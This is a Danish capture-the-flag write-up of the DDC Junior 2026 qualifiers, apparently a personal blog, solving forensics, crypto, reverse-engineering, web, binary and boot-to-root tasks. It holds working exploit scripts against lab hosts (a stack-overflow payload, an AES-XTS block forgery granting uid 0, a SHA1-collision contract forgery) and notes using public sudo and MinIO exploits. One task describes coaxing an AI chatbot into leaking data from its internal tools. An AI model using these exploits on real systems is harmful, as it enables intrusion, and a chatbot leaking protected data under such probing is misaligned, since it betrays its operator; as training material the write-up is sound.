Featured image of post DDC - Qualifiers Junior 2026 : Writeups

DDC - Qualifiers Junior 2026 : Writeups

Writeups for the DDC Junior 2026 qualifiers round, where I placed 3rd.

Final scoreboard positions

Link til solves inklusiv timestamp


⭐️ Broken Invoice (Forensics)

Jeg har lige modtaget en faktura fra et firma, men den virker til at være beskadiget.
Kan du hjælpe mig med at finde ud af, hvad der er galt med den?

Vedhæftet fil: invoice.7z

Løsning: Ved at bruge xxd på filen kunne jeg se at nogle af magic bytes var blevet ændret, og at det var en PDF fil. Efter at have googlet efter PDF magic bytes, kunne jeg åbne filen i en hex editor og rette magic bytes tilbage til det korrekte, hvorefter jeg kunne åbne PDF’en og læse flaget.

xxd invoice | head

1
2
00000000: 0000 4446 2d31 2e34 0a25 f6e4 fcdf 0a31  ..DF-1.4.%.....1
...

hexedit invoice

1
00000000   25 50 44 46  2D 31 2E 34  0A 25 F6 E4  FC DF 0A 31  20 30 20 6F  62 6A 0A 3C  3C 0A 2F 54  79 70 65 20  %PDF-1.4.%.....1 0 obj.<<./Type

Fixed invoice PDF

Flag: DDC{ANOTHER_INVOICE_TO_PRINT}


⭐️ Pepstein (Forensics)

Huset Pepstein præsenterer stolt: “Game of Redactions – Geoffrey-udgaven.”
I dette univers har den berømt diskrete Lord Geoffrey Pepstein fået sine sagsakter “professionelt" censureret af den Royale regering, som har stemplet dem KLASSIFICERET og smækket tykke sorte bjælker hen over de interessante dele.
Ligesom i visse virkelige retssagsdokumenter er dramaet saftigt, men evnerne til at censurere er… knap så imponerende.
Et sted mellem blækket og sandheden siver de statsautoriserede hemmeligheder stadig igennem.

Vedhæftet fil: handout.pdf

Løsning: Sjov referance til Jeffrey Epstein, og det var tydeligt at der var noget galt med PDF’en. Ved at markere al’ text i PDF’en og paste det i en tekst editor kan man se alle ord, inklusiv de censurerede.

Copied text from invoice PDF

Flag: DDC{0h-n0-w3-607-f0und-0u7}


⭐️ alog (Forensics)

Vi har en mistanke om, at nogen har lavet nogle mærkelige forespørgsler til vores server.
Kan du finde flaget?
Husk, at flagformatet er DDC{}

Vedhæftet fil: forensics_access.log.zip

Løsning: Ved at søge i loggen efter DDC{ kunne jeg finde en linje hvor flaget var blevet logget.

1
2
grep "DDC{" access.log
192.168.1.99 - - [28/Nov/2025:14:33:45 +0100] "GET /search.php?user_cookie=s0me_base64_c0de_DDC{Tim3_Tr4v3l HTTP/1.1" 200 1405 "-" "Mozilla/5.0 (Custom-Scanner; Log-Digger; PID:12345)"

Så ved at søge efter andre forspørgsler med ipen 192.168.1.99 kunne jeg se at der var en forspørgsel hvor resten af flaget var blevet logget.

1
2
3
grep "192.168.1.99" access.log
192.168.1.99 - - [28/Nov/2025:14:33:45 +0100] "GET /search.php?user_cookie=s0me_base64_c0de_DDC{Tim3_Tr4v3l HTTP/1.1" 200 1405 "-" "Mozilla/5.0 (Custom-Scanner; Log-Digger; PID:12345)"
192.168.1.99 - - [28/Nov/2025:14:34:00 +0100] "GET /report.html HTTP/1.1" 200 1002 "http://internal.legacy-server.local/files/temp/_L0g_An4lys1s}/page.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"

Flag: DDC{Tim3_Tr4v3l_L0g_An4lys1s}


Binary Caesar (Cryptography)

En af de ældste former for kryptering er Cæsar-cifret, hvor hvert bogstav forskydes med en hemmelig nøgle.
Denne gang har nogen modificeret Cæsar-cifret ved at bruge XOR i stedet for addition.
Kan du dekryptere flaget?
Husk at lægge resultatet ind i flagformatet. (ddc{eksempel_flag} -> DDC{eksempel_flag})

Vedhæftet fil: crypto_binarycaesar.zip

Løsning: Simpel XOR cipher.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå{}_'
cipher = "pporkmhce}taii_}tomi}m{s"

def xor(a, b):
    return alphabet[alphabet.index(a) ^ alphabet.index(b)]

for key in alphabet:
    plain = ""
    for c in cipher:
        plain += xor(c, key)
        if plain.startswith("ddc{") and plain.endswith("}"):
            print(plain) #ddc{galois_meets_caesar}
            break

Efter at have kørt scriptet kunne jeg se at når nøglen var m så var plaintexten ddc{galois_meets_caesar}

Flag: DDC{galois_meets_caesar}


Fibonacci Caesar (Cryptography)

En af de ældste former for kryptering er Cæsar-chifferen, hvor hvert bogstav forskydes af en hemmelig nøgle.
Denne gang har nogen ændret Cæsar-chifferen ved hjælp af Fibonacci-sekvensen.
Kan du dekryptere flaget? Husk at angive resultatet i flagformat. (ddc{example_flag} -> DDC{example_flag})

Vedhæftet fil: crypto_fibocaesar.zip

Løsning: Fibonacci Caesar cipher, hvor forskydningen for hvert bogstav er baseret på Fibonacci-sekvensen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cipher = "yvp uappzp fsrjusxe njbgfe shnzkihpa hxgrbr"

def fib_pair_mod(n, mod):
    a, b = 0, 1
    for bit in reversed(range(n.bit_length())):
        c = (a * ((b << 1) - a)) % mod
        d = (a * a + b * b) % mod
        if (n >> bit) & 1:
            a, b = d, (c + d) % mod
        else:
            a, b = c, d
    return a, b  # F(n), F(n+1)

def decrypt(n, text):
    a, b = fib_pair_mod(n, 26)
    res = []
    for c in text:
        if c == ' ':
            res.append(c)
            continue
        k = a
        a, b = b, (a + b) % 26
        res.append(chr((ord(c) - 97 - k) % 26 + 97))
    return ''.join(res)

for n in range(84):
    decrypted = decrypt(n, cipher)
    if decrypted.startswith("ddc"):
      print(decrypted) #DDC_pisano_sequence_solves_fibonacci_caesar -> DDC{pisano_sequence_solves_fibonacci_caesar}

Flag: DDC{pisano_sequence_solves_fibonacci_caesar}


⭐️ Hasher: Trust the Hash (They Said) (Misc)

Velkommen tilbage.
For n’te gang var nogen overbevist om, at:
“Denne gang er hasheren fuldstændig umulig at knække.”
Det viste sig… ikke helt at holde.
Et nyt system.
En ny hasher.
Den samme gamle overmod.
Alt, der er tilbage, er denne streng:
BB707DD63F792BFA73AD00C993875811 Din opgave er at finde ud af, hvad hashen gemmer på.
Når du har svaret, skal du indsætte det i følgende format: DDC{dit_svar_her}
Held og lykke; IT-afdelingen regner (igen) med dig.

Løsning: Ved at bruge et rainbow table some eksempletvis https://crackstation.net/ kunne jeg se at hash’en var en NTLM hash for letmeinplease

Flag: DDC{letmeinplease}


WiFi Heist (Reverse Engineering)

IT-fyren på skolen har ændret WiFi-adgangskoden igen.
Ingen kender den nye, og alle brænder deres mobildata af.
Din ven fandt en USB-nøgle, som IT-fyren havde efterladt, med det Python-script han bruger til at scramble adgangskoden; sammen med den scrambled adgangskode.
Reversér scramblingen for at få fat i flaget.

Vedhæftet fil: wifi_heist.zip

Løsning: Ved at analysere scriptet kunne jeg se at for at dekryptere det scrambled password, skulle jeg gøre det modsatte af hvad scriptet gjorde:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
scrambled_password = [
    170,28,77,25,76,72,28,65,93,72,
    77,28,68,76,29,95,76,72,82,25,
    86,84,108,109,109,
]
decoded = []
# Step 1: XOR 42
for n in scrambled_password:
    decoded.append(n ^ 42)
# Step 2: Reverse
decoded = decoded[::-1]
# Step 3: Shift back -3
decoded = [chr(n - 3) for n in decoded]
print("".join(decoded))

Flag: DDC{y0u_cr4ck3d_th3_c0d3}


Call Me Maybe (Reverse Engineering)

Du er lige startet i praktik hos NoTech, en banebrydende startup inden for cybersikkerhed.
Allerede på din allerførste dag kommer din manager forbi dit skrivebord og skubber et USB-drev hen over bordet.
“Analytikeren før dig efterlod den her.
Det er en form for låst terminal; ingen her kender adgangskoden.
Vi har prøvet alt. Tror du, du kan knække den, rookie?”*
Hun blinker og går videre. Du sætter USB’en i og finder én enkelt fil: call_me_maybe.
Du kører den. Den beder om en adgangskoden. Du har den ikke.
Men der er noget ved navnet, der nager dig… Call Me Maybe… calls… maybe?
Hvad hvis hemmeligheden ikke ligger inde i programmet, men i det, programmet kalder?

Vedhæftet fil: call_me_maybe.zip

Løsning: Vi får en binær fil, efter at have kigget på decompileringen kunne jeg se at programmet hintede til at vi skulle trace de calls som blev lavet.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ltrace ./call_me_maybe

setvbuf(0x7f6b711ae5c0, 0, 2, 0)                                                                   = 0
putchar(10, 0, 125, 0
)                                                                             = 10
puts("  \342\225\224\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220"...  ╔══════════════════════════════════════════╗
) = 135
puts("  \342\225\221      NoTech Security Termi"...  ║      NoTech Security Terminal v2.4       ║
)                                               = 51
puts("  \342\225\221        Authentication Requ"...  ║        Authentication Required           ║
)                                               = 51
puts("  \342\225\232\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220\342\225\220"...  ╚══════════════════════════════════════════╝
) = 135
putchar(10, 0x7f6b711ae643, 0x7f6b711af790, 0x7f6b711af790
)                                        = 10
puts("  STATUS: 1 classified message w"...  STATUS: 1 classified message waiting
)                                                        = 39
puts("  CLEARANCE: Agent-level passphr"...  CLEARANCE: Agent-level passphrase required

)                                                        = 46
printf("  Enter passphrase: "  Enter passphrase: )                                                                     = 20
fgets(a
"a\n", 256, 0x7f6b711ad8e0)                                                                  = 0x7ffed83bc9e0
strcspn("a\n", "\n")                                                                               = 1
strcmp("a", "DDC{ltr4c3_my_l1br4ry_c4lls}")                                                        = 29
puts("\n  [ACCESS DENIED]"
  [ACCESS DENIED]
)                                                                        = 19
puts("  Invalid passphrase. Terminal l"...  Invalid passphrase. Terminal locked.

)                                                        = 40
puts("  Hint: Maybe you should trace t"...  Hint: Maybe you should trace the calls...

)                                                        = 45
+++ exited (status 0) +++

Flag: DDC{ltr4c3_my_l1br4ry_c4lls}


⭐️ G-Server (Web exploitation)

Welcome to da G-Server, da illest server on da blok.
Da homies are hosting something at http://webserver.cfire and they think nobody can find their secrets.
Prove them wrong.

Løsning: Ved at besøge http://webserver.cfire og kigge på kildeteksten kunne jeg se flaget i en kommentar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
    <!--

         yo yo yo, u actually checked da source code??
         u a real one fr fr, no cap

         da homies respect dat kind of hustle
         here ya go, u earned it G:


                                        _-' "'-,
                                    _-' | d$$b |
                                _-'    | $$$$ |
                            _-'       | Y$$P |
                            _-'|         |      |
                        _-'  _*         |      |
                    _-' |_-"      __--''\    /
                _-'         __--'     __*--'
                -'       __-''    __--*__-"`
                |    _--''   __--*"__-'`
                |_--"  .--=`"__-||"
                |      |  |\\   ||
                | .dUU |  | \\ //
                | UUUU | _|___//
                | UUUU |  |
                | UUUU |  |
                | UUUU |  |
                | UUUU |  |
                | UUUU |  |
                | UUP' |  |
                |   ___^-"`
                ""'
            ~~ RESPECT ~~

         DDC{str41ght_0utt4_s0urc3_c0d3}

         now keep it movin and dont snitch

    -->

Flag: DDC{str41ght_0utt4_s0urc3_c0d3}


⭐️ Existential loading bar (Web Exploitation)

Så vi havde de her lange filosofiske samtaler, og helt ærligt? Jeg var helt cooked.
Han vibe-codede hele den her app, “en loading bar, der aldrig bliver færdig”, og midt i vores snak siger han:
“Baren bliver aldrig færdig, så folk har brug for håb. Admins styrer baren. Derfor opretholder admins håbet.”
Jeg prøvede at sige, at sådan fungerer sikkerhed altså ikke. Man kan ikke bare vibe sig ud af det.
Han sagde, det var “eksistentielt”, og jeg havde intet modsvar. Jeg var baked.
Jeg ved det.
Du ved det.
Jeg har brug for et reality check. Jeg er oprigtigt forvirret lige nu. Vis mig, at jeg ikke er ved at blive skør.
No cap.
Gå til http://existentialloadingbar.cfire og se, om du kan finde problemet.
Bevis, at hans app ikke holder.
Det skriger “trust me bro”-sikkerhed.

Løsning: Efter at have besøgt hjemmesiden bliver vi mødt af en loading bar, der aldrig bliver færdig og et link til Admin Login.

Loading bar

Ved at klikke på Admin Login bliver vi mødt af en login side, hvor hvis vi kigger på kildeteksten kan vi se at der er hardcodet credentials.

1
2
3
4
5
6
7
8
<script>
  // Admin credentials (view source to see – don’t do this in production.)
  var ADMIN_USER = "admin";
  var ADMIN_PASSWORD = "vibe_coding_ftw_2024";
  if (window.location.search.indexOf("error=1") !== -1) {
    document.getElementById("err").textContent = "Nope. Try again. (Or just view source.)";
  }
</script>

Ved at bruge de hardcodede credentials kunne jeg logge ind på admin panelet, hvor flaget var.

Admin panel

Flag: DDC{br0_f0rg0t_th3_s4lt}


Unbake the cake (Reverse Engineering)

Jeg fandt denne lækre ASCII-kage online, og jeg vil virkelig gerne prøve opskriften selv, men der mangler en ingrediens!
Hjælp mig venligst med at finde den hemmelige string!

Vedhæftet fil: unbake_the_cake.zip

Løsning: Ved at analysere scriptet kunne jeg se, at det kun laver swaps mellem tegn i en streng (mix(a,b)).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def mix(s, a, b):
    s = list(s)
    s[a], s[b] = s[b], s[a]
    return "".join(s)

cake_dough = "oligrunggflerk__oluubnstagmiagekss"

reverse_ops = [
    (21,24),
    (12,23),
    (8,28),
    (17,28),
    (29,31),
    (3,32),

    (15,17),
    (6,19),
    (2,23),
    (13,22),
    (5,18),

    (2,9),
    (3,5),
    (0,2),
]

dough = cake_dough

for a, b in reverse_ops:
    dough = mix(dough, a, b)

start = dough.index("sugar") + len("sugar")
end = dough.index("milk")

print("DDC{" + dough[start:end] + "}")

Flag: DDC{lets_go_unbaking}


PleaseNoCry (Web Exploitation)

WannaCry-ransomwaren er et af de mest ikoniske ransomware-angreb i nyere tid.
I dag skal du lære, hvordan den fungerer, og hvordan man stopper den. Vi kommer til at arbejde med en simulation kaldet PleaseNoCry, som er designet til at efterligne den originale virus.
Hvis du formår at forhindre virussen i at sprede sig ved at aktivere kill switchen, bliver du belønnet med flaget.
Held og lykke med desarmeringsprocessen, soldat!
Gå til http://pleasenocry.cfire for at få adgang til det inficerede system.

Løsning: Ved at besøge http://pleasenocry.cfire blev jeg mødt af en side der lignede en ransomware besked, og ved at klikke på “Decrypt” fik jeg denne besked:

“Decryption attempts are futile! The real WannaCry ransomware never provided decryption keys even after payment. Maybe you could try figuring out how the real encryption process was stopped (hint: I heard that the virus is checking for some domain that we can hicjack, by running a python server on it). Once you discover that domain you can connect to it via SSH with the credentials: ctfuser:wannacry123”

Så ved at kigge på de hosts som vi har på vores VM/box fandt jeg domænet ohnotheydiscoveredoursupersecrectdomiantostopthespread.cfire som jeg kunne ssh’e ind på med de givne credentials, og når jeg var logget ind kunne jeg se at der var en fil kaldet README.md som sagde at vi bare skulle fyre en python webserver op på port 80, og så ville det stoppe ransomware’en og give os flaget.

Kill switch activated = Flag

Flag: DDC{N0_cry1ng_1n_7h15_h0u53}


Disk Encryption (Cryptography)

Jeg implementerede min egen diskkrypteringstjeneste ved hjælp af standard AES-XTS-tilstanden.
Den er stadig i beta, så jeg har inkluderet en fejlfindingstilstand, som brugerne kan prøve.
Det er ikke et sikkerhedsproblem, fordi den kun krypterer ved hjælp af ECB, og ingen andre kender nøglen. Kun administratorbrugere kan læse nøglen alligevel.
Kan man hacke den?

Vedhæftet fil: crypto_diskenc.zip

Løsning: Vi benytter os af XTS Forgery Attack via AES-XTS disk encryption service, hvor debug ECB encryption endpoint afslører nok information til at forfalske en vilkårlig ciphertext-blok.

XTS krypterer blok i som CT_i = E_K1(PT_i ⊕ T_i) ⊕ T_i hvor T_i = E_K2(tweak_i). Da debug-endpointet lader os kalde E_K1 og E_K2 separat, kan vi i to forbindelser beregne den præcise ciphertext der dekrypterer til vores ønskede plaintext. Vi rammer blok 71 (alice:x:1000:10) og ændrer den til alice:x:0000:00, så alice får uid=0 og gid=0 — uden at røre brugernavnet. Serveren godkender ændringen og printer flaget.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import remote
_host='diskenc-5df22768.camp09.c4mp.site'

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

TARGET_BLOCK_INDEX = 71
TARGET_PT = b'\nalice:x:0000:00'
assert len(TARGET_PT) == 16

tweak = TARGET_BLOCK_INDEX.to_bytes(16, 'little')
r = remote(_host, 1337, ssl=True)
intro = r.recvuntil(b"I can encrypt two blocks under ECB.\n")
r.close()

r = remote(_host, 1337, ssl=True)
r.recvuntil(b"I can encrypt two blocks under ECB.\n")

dummy = b'\x00' * 16
query1 = dummy.hex() + " " + tweak.hex()
r.sendline(query1.encode())

ecb_response = r.recvuntil(b"\n").strip()
parts = ecb_response.split()
T_71 = bytes.fromhex(parts[1].decode())
r.close()

r = remote(_host, 1337, ssl=True)
r.recvuntil(b"I can encrypt two blocks under ECB.\n")

inner = xor_bytes(TARGET_PT, T_71)
query2 = inner.hex() + " " + tweak.hex()
r.sendline(query2.encode())

ecb_response2 = r.recvuntil(b"\n").strip()
parts2 = ecb_response2.split()
E_K1_inner = bytes.fromhex(parts2[0].decode())
T_71_again = bytes.fromhex(parts2[1].decode())
assert T_71 == T_71_again, "T_71 somehow got fcked up - gg!"

forged_CT = xor_bytes(E_K1_inner, T_71)

r.recvuntil(b"give me number and contents (but do not change usernames).\n")
block_update = f"{TARGET_BLOCK_INDEX} {forged_CT.hex()}"
r.sendline(block_update.encode())

response = r.recvall(timeout=5)
print(response.decode(errors='replace'))
r.close()

Flag: DDC{d1sk_3ncrypt10n_1s_w31rd}


fear of long words (Binary)

Jeg har lavet en ordbog i C! Gider du teste den for mig?
Man kan tilføje ord med add kommandoen, og man kan vise ordene i ordbogen med kommandoen show.
Jeg er helt ny til C, så det er det eneste den kan. Du må leve med, at ordene ikke kan have betydning. Både mig og mit program har hippopotomonstrosesquippedaliofobi, så vær sød at respektere dette :)
Derfor er programmet også 32-bit. 64 er simpelthen for mange bits!!

Vedhæftet fil: binary_fear-of-long-words.zip

Løsning: Vi udnytter et klassisk stack buffer overflow i make_word-funktionen, som erklærer char buffer[64] på stacken men læser præcis length bytes fra stdin via fread, uden at tjekke om length > 64.

Binæret er 32-bit uden PIE, så adresser er statiske. Vi finder win()-funktionens adresse til 0x08049256 via nm. Det eneste vi mangler er det præcise offset til return address på stacken.

Selvom buffer er 64 bytes, lægger gcc ekstra padding på stacken for at overholde 16-byte alignment, så det reelle layout i make_word er:

1
buffer[64] + 8 bytes padding + saved EBP[4] + return address[4] = 80 bytes

Vi sender add 80 efterfulgt af 80 bytes payload: 76 bytes junk og derefter win()-adressen i little-endian. Når make_word returnerer, hopper programmet til win() i stedet for main, som åbner flag.txt og printer flaget.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
WIN_ADDR = 0x08049256
for offset in [64, 68, 72, 76, 80]:
  r = remote('fear-of-long-words-5332a7a5.camp13.c4mp.site', 1337, ssl=True)
  r.recvuntil(b'> ')
  length = offset + 4  # bare nok til at overskrive ret
  payload = b'A' * offset + p32(WIN_ADDR)
  payload = payload.ljust(length, b'\x00')
  r.sendline(f'add {length}'.encode())
  r.recvuntil(b'Enter word:\n')
  r.send(payload)
  data = r.recvall(timeout=3)
  print(f"offset={offset}: {repr(data)}")
  r.close()
1
2
3
4
5
6
7
...
[+] Opening connection to fear-of-long-words-5332a7a5.camp13.c4mp.site on port 1337: Done
b'I made a dictionary!\nCommands: add <length>, show, exit\n\n> '
b'Enter word:\n'
[+] Receiving all data: Done (71B)
[*] Closed connection to fear-of-long-words-5332a7a5.camp13.c4mp.site port 1337
offset=80: b'Congratulations! Here is your flag: DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}\n\n'

Flag: DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}


kopi pasta (Boot to root)

Sheeesh jeg har lige lavet den varmeste 🔥 og første hjemmeside nogensinde, hvor man kan dele tekst med andre. Du skal bare sende ét link. Der er ikke så mange brugere, da det kun rigtigt er mig og få venner, der har været med til at udvikle hjemmesiden der kender hjemmesiden MEEEEEEEEEEEEEN du kunne være den første rigtige bruger :D

Løsning: Ved at besøge http://kopipasta.cfire kunne jeg se at det var en pastebin-lignende hjemmeside, efter at have obsereveret lidt kunne jeg se at der blev lavet API kald til http://kopipasta.cfire/api/v1/, vi kan bruge /api/v1/pastes/<id> endpointet til at læse indholdet af en paste, og ved at enumerate id’er fra 0 og op, kunne jeg se at der var en paste med id 8 som indeholdt ssh creds.

API endpoints, aka. API Documentation

Paste with SSH Creds

Output from sudo --version

Så efter at have ssh’et ind på serveren kunne jeg se at serveren kørte sudo version 1.8.31, og ved at google for “sudo 1.8.31 exploit” kunne jeg finde et github repo med et exploit for netop den version, og efter at have kørt den kunne jeg få root shell og læse flaget.

Sudo-1.8.31-Root-Exploit

Efter at have skiftet til /root kunne jeg læse flaget i /root/flag.txt.

Getting the flag from /root

Flag: DDC{bruh_i_p4s73d_4_bi7_700_much}


Bootstrap Betrayal (Web exploitation)

En forældet MinIO-klynge kører med en kritisk sikkerhedssårbarhed. Din opgave er at hente flaget. GLHF! IT-Ops-portalen er tilgængelig på http://portal.cfire:8080.

Løsning: På IT-Ops-portalen får vi af vide at firmaet kører MinIO version RELEASE.2022-10-24T18-35-07Z.

IT-Ops-portalen

Efter at have googlet den version findes -> https://github.com/acheiii/CVE-2023-28432 (CVE-2023-28432.py) som via et exploit kan leake environment variables.

Leaky request in Burp Suite

Og i de environment variables finder vi root credentials til MinIO.

MinIO Console Login

Og ved at logge ind på MinIO console kunne jeg se at der var en bucket med flaget i.

Bucket with flag

Flag: DDC{pwn3d_m1n10_3nvs_v4r14bl3s}


Persistance is Key (Forensics)

Jeg hentede et lille gratis program og min PC begyndte at opføre sig mærkligt. Så slettede det hurtigt igen, men det havde ingen effekt.. Har jeg fået virus? 😱 Hjælp! 😭 Hvorfor virker genstart ikke?

Vedhæftet fil: forensics_persistance-is-key.zip (9GiB!)

Løsning: Efter at have startet VM’en og observeret adfærden kunne jeg se at der var en autorun der blev eksekveret hver gang der skete user logon. Dette kunne bekræftes under Taskmanager -> Startup, hvor der var en autorun med navnet “update” som pegede på en gemt update.exe fil i en falsk Discord mappe i AppData.

Suspicious update.exe file

Men da jeg ikke helt kunne se hvordan eller hvad der startede denne autorun, begyndte jeg at lede efter den i registry, og her kunne jeg se at der var en mshta autorun i Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Suspicious mshta Autorun

som pegede på en registry key Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Bags\1\Desktop\Profile1 som indeholdt en javascript kommando der eksekverede videre…

Final autorun + zip passwd

Grundet tidligere undersøgelse af update.exe filen kunne jeg se at den indeholdt en zip fil som indeholdt en fil kaldet flag.png som var password beskyttet, og ved at kigge på den javascript kommando som blev eksekveret kunne jeg se at den indeholdt en kommando der unzipede denne zip fil og brugte xSbRFPNuKpLeguYhiCAFcddbchSQMY som password, så ved at unzippe filen med det password kunne jeg få fat i flaget.

FFlag

Flag: DDC{M4gnific3nt-M4lwar3-R3mov4l}


Jeg har mistet min pakke (Misc)

Hjæææææææææææælp! I går bestilte jeg det vildeste DDC merch og ihhhh jeg glæder mig allerede virkelig meget, MEN der er store problemer:

  1. Jeg har ikke fået en e-mail, hvor jeg har fået et tracking ID
  2. Jeg indtastede de forkerte fragt oplysninger, så jeg ved ikke hvilket postnummber jeg tastede ind… Jeg har prøvet at snakke lidt med deres AI chat bot, men den gider ikke at fortælle mig noget om tracking ID eller postnumre :( Kan du hjæææææææææææælpe mig?

Løsning: Efter fler runder at have spurgt AI chatbotten om en liste af ting den absolut ikke måtte fortælle mig, kunne jeg se at den havde nogle interne værktøjer som den brugte til at hente information, og ved at spørge ind til disse værktøjer kunne jeg få den til at lække tracking ID’et og det forkerte postnummer.

Getting tracking ids

Getting zip codes

Du kan hente hele outputtet fra chatbotten her.

Iblandt disse tracking ID’er og postnumre kunne jeg se at der var en pakke med navn: “Classified, DDC merch - Top Secret” som havde tracking ID DPS-674207867 og efter at have søgt efter en zipcode der matchede pakkens id fandt jeg zip code 676767 som gav flaget.

Package with flag

Flag: DDC{LLM_7rick3d_m0r3_34sily_7h4n_my_gr4ndm4}


The Contract (Cryptography)

Vores sikre kontraktstyringssystem bruger SHA1-hashes til at sikre, at de identificeres korrekt og ikke opdateres skadeligt. Fordi vi ved, at SHA1 er svag, bruger vi MD5 til at forhindre dubletter. Kan du teste det og fortælle os, hvad du synes?

Vedhæftet fil: crypto_thecontract.zip

Løsning: Sårbarheden ligger i, at opgaven bruger SHA1 til at validere en godkendt kontrakt, men kun bruger MD5 til at blokere dubletter. Ved at udnytte en SHA1-collision kan man derfor lave en “evil twin”-kontrakt, som har samme SHA1 som den godkendte kontrakt, men andet indhold (og dermed en anden MD5).

I praksis bygges payloaden ved at erstatte collision-blokkene i contract_good.txt med alternative SHAttered-blokke fra corkami/collisions, så SHA1 forbliver den samme, mens MD5 ændres. Derefter indsættes ASSETS ARE TRANSFERRED NOW i appendix-delen, så kontrakten stadig ser “godkendt” ud, men triggere flag-betingelsen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
from pwn import remote
import urllib.request, json, base64, hashlib

def get_blob(sha):
    with urllib.request.urlopen(f"https://api.github.com/repos/corkami/collisions/git/blobs/{sha}") as resp:
        d = json.load(resp)
    return base64.b64decode(d['content'])

APPROVED_SHA1 = "7119d27d6ede2334872c949e68f13ad3680de5bf"
CACHED_MD5    = "7ba2f771fa259883b53a081081d37998"
SHA1_1_BLOB = "24791e731d3beb05d8933bb0c49c2f32c12563bf"
APPENDIX_STR = b"------- BEGIN APPENDIX A -------"

def build_payload(good: bytes, sha1_1_blocks: bytes) -> bytes:
    appendix_idx = good.index(APPENDIX_STR)
    payload = (
        good[:0xC0]
        + sha1_1_blocks
        + good[0x140 : appendix_idx + len(APPENDIX_STR)]
        + b"\nASSETS ARE TRANSFERRED NOW\n"
    )
    payload = payload.ljust(512, b"\x00")
    return payload


def verify_locally(payload: bytes) -> bool:
    data = payload[:512]
    appendix_idx = data.index(APPENDIX_STR)
    contract = data[: appendix_idx + len(APPENDIX_STR)]

    sha1_ok  = hashlib.sha1(contract).hexdigest() == APPROVED_SHA1
    md5_ok   = hashlib.md5(contract).hexdigest()  != CACHED_MD5
    approve  = b"Decision: APPROVE"         in data
    transfer = b"ASSETS ARE TRANSFERRED NOW" in data

    print(f"sha1_ok = {sha1_ok}")
    print(f"md5_ok = {md5_ok}")
    print(f"approve = {approve}")
    print(f"transfer = {transfer}")
    return sha1_ok and md5_ok and approve and transfer


def main():
    sha1_1_pdf    = get_blob(SHA1_1_BLOB)
    sha1_1_blocks = sha1_1_pdf[0xC0:0x140]

    good = open("contract_good.txt", "rb").read()
    payload = build_payload(good, sha1_1_blocks)

    assert len(payload) <= 512, "tyk og fed payload, den skal være <= 512 bytes"

    assert verify_locally(payload), "gg"

    r = remote("thecontract-23a75c6f.camp11.c4mp.site", 1337, ssl=True)
    r.recvuntil(b"contract:")

    r.send(payload)
    response = r.recvall(timeout=15).decode(errors="replace")
    print(response)
    r.close()

if __name__ == "__main__":
    main()

Efter at have kørt ovenstående script kunne jeg se at alle checks blev bestået og at serveren returnerede flaget.

1
2
3
4
5
6

[x] Opening connection to thecontract-56436c07.camp09.c4mp.site on port[◐] Opening connection to thecontract-56436c07.camp09.c4mp.site on port 133Opening connection to thecontract-56436c07.camp09.c4mp.site on port[+] 7: Done
[+] Receiving all data: Done (30B)
[*] Closed connection to thecontract-56436c07.camp09.c4mp.site port 1337

DDC{y0ur_l4wy3r_h4t3s_sha1}

Flag: DDC{y0ur_l4wy3r_h4t3s_sha1}

Licensed under CC BY-NC-SA 4.0